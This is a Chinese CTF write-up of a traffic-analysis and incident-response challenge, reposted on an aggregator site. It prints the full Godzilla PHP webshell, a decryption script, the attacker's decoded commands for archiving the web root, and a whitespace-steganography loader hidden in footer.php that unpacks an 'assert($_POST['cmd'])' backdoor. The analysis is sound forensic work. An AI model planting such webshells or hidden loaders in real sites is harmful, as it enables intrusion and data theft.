20250922_QQ_backdoor

news/2025/9/25 19:49:59/文章来源:https://www.cnblogs.com/JasonJHu/p/19111878

Tags:流量分析,应急响应,WebShell,哥斯拉,Godzilla,空白字符隐写,AES,DASCTF

0x00. 题目

附件路径:https://pan.baidu.com/s/1GyH7kitkMYywGC9YJeQLJA?pwd=Zmxh#list/path=/CTF附件

附件名称:20250922_QQ_backdoor.zip

0x01. WP

1. 找到上传的shell

采用md5分段后前后混淆,典型的哥斯拉工具的流量特征。

图片

<?php session_start(); @set_time_limit(0); @error_reporting(0); function E($D,$K){ for($i=0;$i<strlen($D);$i++) { $D[$i] = $D[$i]^$K[$i+1&15]; } return $D; } function Q($D){ return base64_encode($D); } function O($D){ return base64_decode($D); } $P='pass'; $V='payload'; $T='3c6e0b8a9c15224a'; if (isset($_POST[$P])){ $F=O(E(O($_POST[$P]),$T)); if (isset($_SESSION[$V])){ $L=$_SESSION[$V]; $A=explode('|',$L); class C{public function nvoke($p) {eval($p."");}} $R=new C(); $R->nvoke($A[0]); echo substr(md5($P.$T),0,16); echo Q(E(@run($F),$T)); echo substr(md5($P.$T),16); }else{ $_SESSION[$V]=$F; } }

2. 临时改写解码脚本

分别在1299和1328找到文件压缩和环境变量查看的请求流量

在线php运行环境:https://www.jyshare.com/compile/1/

<?php
function E($D,$K){ for($i=0;$i<strlen($D);$i++) { $D[$i] = $D[$i]^$K[$i+1&15]; } return $D; 
} 
function Q($D){ return base64_encode($D); 
} 
function O($D){ return base64_decode($D); 
} 
$P='pass'; 
$V='payload'; 
$T='3c6e0b8a9c15224a'; 
//Frame 1299
$request="OgRUWzZ/DUw5ZQReUGMZADBjDVsvCjMMLWVvWmVxJ103cA17N20NfTZaf2RgYTt2NgYzZzhUN0o1Wgxrf2I7ZjZaP3o4CBZDNFxdWFNgCkk5citaBlUncDZfZ1tjTgl/KVtUXAZ/CU85dABaUGM0CjRaDV8AfgpON19vW2ROJ1w6W1RiMmlcBA==";
$response="11cd6a8758984163KnUnWDh/M0kBXFYEe3w7WwBfXAMGCwJPAnlnRlB3WVQofis00QyBRWA0=6c37ac826a2a04b";
/*
request:
cmdLine=emlwIHd3dy56aXAgLXJQICRBUEFDSEVfUlVOX1VTRVIgL3Zhci93d3cvaHRtbC8K&methodName=ZXhlY0NvbW1hbmQ=cmdLine=zip www.zip -rP $APACHE_RUN_USER /var/www/html/methodName=execCommand
response:adding: var/www/html/ (stored 0%)adding: var/www/html/config.php (deflated 27%)adding: var/www/html/Wopop_files/ (stored 0%)adding: var/www/html/Wopop_files/google_jquery-ui.min.js (deflated 74%)adding: var/www/html/Wopop_files/logo.png (deflated 3%)adding: var/www/html/Wopop_files/._login_bgx.gif (deflated 44%)adding: var/www/html/Wopop_files/login_bgx.gif (deflated 1%)... ...
*/
$response=substr($response,16,strlen($response)-32);
echo "Frame 1299";
echo "\nrequest:\n";
echo O(E(O($request),$T));
echo "\nresponse:\n";
echo O(E(O($response),$T));
echo "\n\n";
//Frame 1158
$request="OgRUWzZ/DUw5ZQRTZE40SjIEBgkyaztNOWlnXVAGM3w6YVRcMm4RYAJ2TWh/cVQBOloGSAN/K002ZQUP";
$response="11cd6a8758984163MmAncjMICX87AH9kZlhYdjBgLAkuCztRAFgMS1ZjVUU6bidYOwoJVS5WRXBncSd3MHMzVjd9DXw7AW94ZnE0Ci8FP1gBUVhAB2YBRGtsI1s6BA1cL1FYUQB2c1hTczRKL1gnQDh5EWgyZ2d7YmdYAgAFLEYAf1hTOmZCRFEGK0MBXApGBmAvQC8DTURrBidALwQvQABSDk8HaXtLfgcvWgJhUQYuCzdDAFgMW1NjVQUvBStZA29VDy8Df0JQUxFxNnMjdDF9N183dAx2YQVYdjBgLAkuCztRAFgMQVAGL0EvBCNHO28vVjllfHlmcSd8MUxUdCFTJ2gyZHt7YGJYYDVjUFY0bi9/NlsEAVYHAkc5cSMAO2kRezZ0c3ZhcTdVNlozfzoIBWo3AGNjYmwFAAdPVFs7YDNRIFpzY2NhL3oxYFx9NggFXzF0WWFiZ1gBOm4sRgB/WFcvA3NFa2MvXDliLHs3fgV8M2IMWlF8IEU6YTdEA29VTwdpd0FQBidYIFFYDQ==6c37ac826a2a04bc";
$response=substr($response,16,strlen($response)-32);
echo "Frame 1158";
echo "\nrequest:\n";
echo O(E(O($request),$T));
echo "\nresponse:\n";
echo O(E(O($response),$T));
echo "\n";
/*
Frame 1158
request:
cmdLine=ZW52Cg==&methodName=ZXhlY0NvbW1hbmQ=cmdLine=envmethodName=execCommand
response:
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/app/admin/upload
*/
?>

得到压缩包密码为www-data

3. 导出压缩包找到flag.php

<?php
$enc = 'aes-128-ecb';
$flag = 'CN1Sq9tFItxZhsu3zCWbrdf6ozOL4eoKG0s71vGg/AKKnch3IL3jzwtXeCgWK5QP';
?>

4. 在footer.php尾部发现异常

... ...
<?php
$cache=end(preg_split('/>/',file_get_contents(basename($_SERVER['PHP_SELF']))));
for($i=0;$i<strlen($cache);$i++){$out.=chr(bindec(str_replace(array(chr(9),chr(32)),array('1','0'),substr($cache,$i,8))));$i+= 7;}$cachepart=' ';file_put_contents($cachepart,base64_decode($out));include $cachepart;unlink($cachepart);
?>

而且在后面还有大量\t空格字符串

 	 	     	   	    			  	 			 			 		    	 	  	    	     	 		  			 	    		 		 		 	 	   		  				 	  		   		  		  	  	 	 		  				  	 		  	   	    		 		  			 		 	 		 	 		     		   	 	    	  	 	     	 	 	 	  		   	 	 	  	  		   	  	  	 	   		  	  	  			  			 	   	 		 	  	    		 		  	   		  	   	  	 		 	 	 	   			  		 		  			 	    		 	 	   	 		 	 		 		  			 	    		 	 	  		 	     	 	  	 	  	    		 	 	  		 	     	 	  	 	  	    		 	 	  		 	     	 		  			 	    		 	 	  		 	     	 	  	 	  	  	  	 	     	 		 	 		 	  	 	  	    		 	 	   	 		 	 		 		  			 	  	  	 	     	 		 	 		 		  			 	  	  	 	     	 		 	 		 		  			 	  	  	 	    		 	     	 		  			 	  	  	 	    		 	     	 	  	 	  	    		 	 	  		 	     	 	  	 	  	  	  	 	    		 	     	 	  	 	  	  	  	 	     	 		 	 		 	  	 	  	    		 	 	  		 	     	 		  			 	    		 	 	   	 		 	 		 		  			 	  	  	 	     	 		 	 		 		  			 	  	  	 	    		 	     	 		  			 	  	  	 	    		 	     	 	  	 	  	    		 	 	  		 	     	 		  			 	  	  	 	     	 		 	 		 		  			 	  	  	 	    		 	     	 	  	 	  	    		 	 	   	 		 	 		 		  			 	  	  	 	     	 		 	 		 		  			 	    		 	 	   	 		 	 		 		  			 	  	  	 	    		 	     	 		  			 	    		 	 	  		 	     	 		  			 	    		 	 	   	 		 	 		 		  			 	    		 	 	   	 		 	 		 		  			 	  	  	 	    		 	     	 	  	 	  	    		 	 	  		 	     	 	  	 	  	  	  	 	    		 	     	 		  			 	  	  	 	     	 		 	 		 	  	 	  	  	  	 	    		 	     	 		  			 	    		 	 	  		 	     	 	  	 	  	    		 	 	  		 	     	 		  			 	    		 	 	   	 		 	 		 		  			 	  	  	 	    		 	     	 	  	 	  	    		 	 	  		 	     	 		  			 	    		 	 	  		 	     	 		  			 	  	  	 	     	 		 	 		 	  	 	  	  	  	 	     	 		 	 		 	  	 	  	    		 	 	  		 	     	 		  			 	    		 	 	   	 		 	 		 		  			 	  	  	 	    		 	     	 		  			 	  	  	 	    		 	     	 	  	 	  	    		 	 	  		 	     	 	  	 	  	  	  	 	    		 	     	 		  			 	  	  	 	     	 		 	 		 	  	 	  	  	  	 	    		 	     	 		  			 	    		 	 	  		 	     	 		  			 	    		 	 	   	 		 	 		 		  			 	    		 	 	   	 		 	 		 	  	 	  	  	  	 	    		 	     	 	  	 	  	    		 	 	  		 	     	 		  			 	    		 	 	  		 	     	 		  			 	    		 	 	   	 		 	 		 		  			 	  	  	 	    		 	     	 		  			 	    		 	 	  		 	     	 	  	 	  	    		 	 	  		 	     	 		  			 	    		 	 	   	 		 	 		 		  			 	    		 		 	 	   			     	 	 		

5. 分析脚本进行解码

# chr(9)=\t=1
# chr(32)=\r=0
010100000100010000111001011101110110000101001000010000010110011101000011011011010100011001111010011000110011001001010110011110010110010001000011011001110110101101011000001100010100001001010000010101010011000101010010011000100100101000110010010011100111010001011010010000110110010001100100010010110101010001110011011001110100001101010001011010110110011101000011010100110100000101001010010000110101001101000001010010100100001101010011010000010110011101000011010100110100000101001010010010010100000101101011010010100100001101010001011010110110011101001001010000010110101101100111010010010100000101101011011001110100100101000011010000010110011101001001010000110100000101001010010000110101001101000001010010100100100101000011010000010100101001001001010000010110101101001010010000110101001101000001011001110100001101010001011010110110011101001001010000010110101101100111010010010100001101000001011001110100100101000011010000010100101001000011010100110100000101100111010010010100000101101011011001110100100101000011010000010100101001000011010100010110101101100111010010010100000101101011011001110100001101010001011010110110011101001001010000110100000101100111010000110101001101000001011001110100001101010001011010110110011101000011010100010110101101100111010010010100001101000001010010100100001101010011010000010100101001001001010000110100000101100111010010010100000101101011010010100100100101000011010000010110011101000011010100110100000101001010010000110101001101000001011001110100001101010001011010110110011101001001010000110100000101001010010000110101001101000001011001110100001101010011010000010110011101001001010000010110101101001010010010010100000101101011010010100100001101010011010000010110011101000011010100010110101101100111010010010100001101000001011001110100100101000011010000010100101001000011010100110100000101001010010010010100001101000001011001110100100101000001011010110100101001001001010000110100000101100111010000110101001101000001011001110100001101010001011010110110011101000011010100010110101101001010010010010100001101000001010010100100001101010011010000010110011101000011010100110100000101100111010000110101000101101011011001110100100101000011010000010110011101000011010100110100000101001010010000110101001101000001011001110100001101010001011010110110011101000011011010100011100000101011BIN2CHR=>PD9waHAgCmFzc2VydCgkX1BPU1RbJ2NtZCddKTsgCQkgCSAJCSAJCSAgCSAJIAkJCQkgIAkgIAkgICAgICAJCSAJICAJIAkJCSAgCQkgIAkgICAgICAJCSAgIAkgICAJCQkgIAkgCQkgICAgCSAgCQkgCQkgICAJCSAJICAgIAkJICAgCSAJCSAgCQkgICAJCSAgCSAgIAkJIAkJCSAgCQkgICAgICAJCSAJICAgIAkJICAgCSAgCQkgCQkJICAJCSAgCSAgCQkgICAgCSAJCSAgCQkgCj8+Base64Decode=><?php 
assert($_POST['cmd']); 		 	 		 		  	 	 				  	  	      		 	  	 			  		  	      		   	   			  	 		    	  		 		   		 	    		   	 		  		   		  	   		 			  		      		 	    		   	  		 			  		  	  		    	 		  		 
?>

结果中依然有\t空格,继续解码

0110101101100101011110010010000001101001011100110010000001100010001110010110000100110110001101000011000101100110001100100011011100110000001101000011000100110111001100100110000101100110BIN2CHR=> key is b9a641f2704172af

6. AES解码

enc = aes-128-ecb

key = b9a641f2704172af

flag = CN1Sq9tFItxZhsu3zCWbrdf6ozOL4eoKG0s71vGg/AKKnch3IL3jzwtXeCgWK5QP

最终得到flag为DASCTF{d8f191d0f0be0f039c4ededb7839218e}

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/917442.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

实用指南:【Java八股文】13-中间件面试篇

实用指南:【Java八股文】13-中间件面试篇pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "…

AT_agc012_d [AGC012D] Colorful Balls

考虑到可操作的两个球连边,同一个连通块一定能任意交换,方案数是好算的,现在我们需要优化这个建边的过程。 首先,对于同色球,先只考虑最小值和其他球连边,这样一定最优,然后,对于异色球,我们选最小值,非最小…

网站建设套路毕节市交通建设集团网站

可以用&#xff0c;现在很多本地生活商家&#xff0c;都会通过借助批量剪辑工具来提升视频的曝光量&#xff0c;从而带动店铺的客流量。 推荐本地生活商家使用超级编导批量剪辑工具&#xff0c;这是一款0基础小白也可以很快上手的批量剪辑工具&#xff0c;剪辑页面布局以及功能…

销售网站html源码淮南市官网

运用 Transformers 库来完成翻译任务。翻译是典型的序列到序列 (sequence-to-sequence, Seq2Seq) 任务&#xff0c;即对于每一个输入序列都会输出一个对应的序列。翻译在任务形式上与许多其他任务很接近&#xff0c;例如&#xff1a; 文本摘要 (Summarization)&#xff1a;将长…

02、Python从入门到癫狂:函数与资料容器

02、Python从入门到癫狂:函数与资料容器pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "M…

9/25

今天学了算法数结构,学了许多与线性表相关的知识。

社区服务呼叫系统 网站的建设网站效果图设计

提供帧动画组件来实现逐帧播放图片的能力&#xff0c;可以配置需要播放的图片列表&#xff0c;每张图片可以配置时长。 说明&#xff1a; 该组件从API Version 7开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。 子组件 无 接口 ImageAni…

关闭Edge浏览器页面的圆角效果

起因 edge浏览器的这个圆角我看着不太习惯 ,特别是在看一些博客文章的时候 ,总感觉不太舒服 ,所以想给他关闭掉关闭或者开启设置在浏览器搜索框输入edge://flags然后再在页面的搜索框中输入Microsoft Edge rounded …

搜索二维矩阵II-leetcode

题目描述 编写一个高效的算法来搜索 *m* x *n* 矩阵 matrix 中的一个目标值 target 。该矩阵具有以下特性:每行的元素从左到右升序排列。 每列的元素从上到下升序排列。示例 1:输入:matrix = [[1,4,7,11,15],[2,5,8…

Rust/C/C++ 混合构建 - Cmake集成Cargo编译动态库

Cmake是一个强大的多语言编译工具,其内置模块提供了强大的扩展能力。 Rust官方的构建工具是Cargo,其提供了依赖下载,上传和编译等多项功能,极大的便利了Rust项目的开发。 目前C++多数用Cmake构建,如果是Rust集成c…

小型公司网站建设知乎济南网站建设网站建设

文章目录 1. Kubernetes的网络类别2. Kubernetes的接口类型3. CNI网络插件 ---- Flannel的介绍及部署3.1 简介3.2 flannel的三种模式3.3 flannel的UDP模式工作原理3.4 flannel的VXLAN模式工作原理3.5 Flannel CNI 网络插件部署3.5.1 上传flannel镜像文件和插件包到node节点3.5.…

织梦网站图片一直转圈品质好物推荐

AOP(Aspect Oriented Programming)&#xff0c;面向切面编程&#xff0c;他是一种编程范式。 作用&#xff1a; 在不改变原始设计的的基础上对其进行功能增强。 几个基本概念&#xff1a; 连接点&#xff1a;所有的方法 切入点&#xff1a;追加功能的方法 通知&#xff1a;追加…

LangChain:LLMs和ChatModels介绍、LangChain 集成大模型的本地部署与 API 调用实践、提示词prompt、输出解析器、链 - 实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

卓伊凡的第一款独立游戏-unity安装运行设置以及熟悉整体unity游戏开发和unity editor【02】-优雅草卓伊凡

卓伊凡的第一款独立游戏-unity安装运行设置以及熟悉整体unity游戏开发和unity editor【02】-优雅草卓伊凡2025-09-25 19:26 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: no…

学习敏捷课程PSM,自考证书分享

PSM课程自考体会心得​ 一直以来,我都对Scrum比较感兴趣,但真正检验自己对Scrum框架的掌握程度,是从准备 PSM(Professional Scrum Master)认证考试 开始的。相比参加培训班,我选择了自考的方式,这段学习过程对我…

详细介绍:基于卷积神经网络的人车识别技术:从原理突破到场景重构的深度探索

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

长春 万网 网站建设中国咨询公司排名50强

本文是我在学习过程中记录学习的点点滴滴&#xff0c;目的是为了学完之后巩固一下顺便也和大家分享一下&#xff0c;日后忘记了也可以方便快速的复习。 网络工程师从入门到入狱 前言一、Wlan应用实战1.1、拓扑图详解1.2、LSW11.3、AC11.4、抓包1.5、Tunnel隧道模式解析1.6、AP、…

专题定制网站建设工信部网站原来是

创建测试用例和测试结果集文件夹&#xff1a; excel编写的接口测试用例如下&#xff1a; 1 encoding 响应的编码格式。所测项目大部分是utf-8&#xff0c;有一个特殊项目是utf-8-sig 2 params 对应requests的params 3 data&#xff0c;对应requests的data 有些参数是动态的&a…

Rust/C/C++ 混合构建 - 用Bazel构建Rust与C

Bazel是什么 Bazel 是一个类似于 Make、Maven 和 Gradle 的开源构建和测试工具。 它使用人类可读的高级 build 语言。Bazel 支持 并针对多个平台构建输出。Bazel 支持 多个代码库和大量用户的大型代码库。 优势 Bazel …

9.24(补)

上午离散数学学的有点意思,下课后看了一眼,马哲的老师讲的也挺有意思的,重点讲了会生产力和生产资料,下午到没干什么,躺了。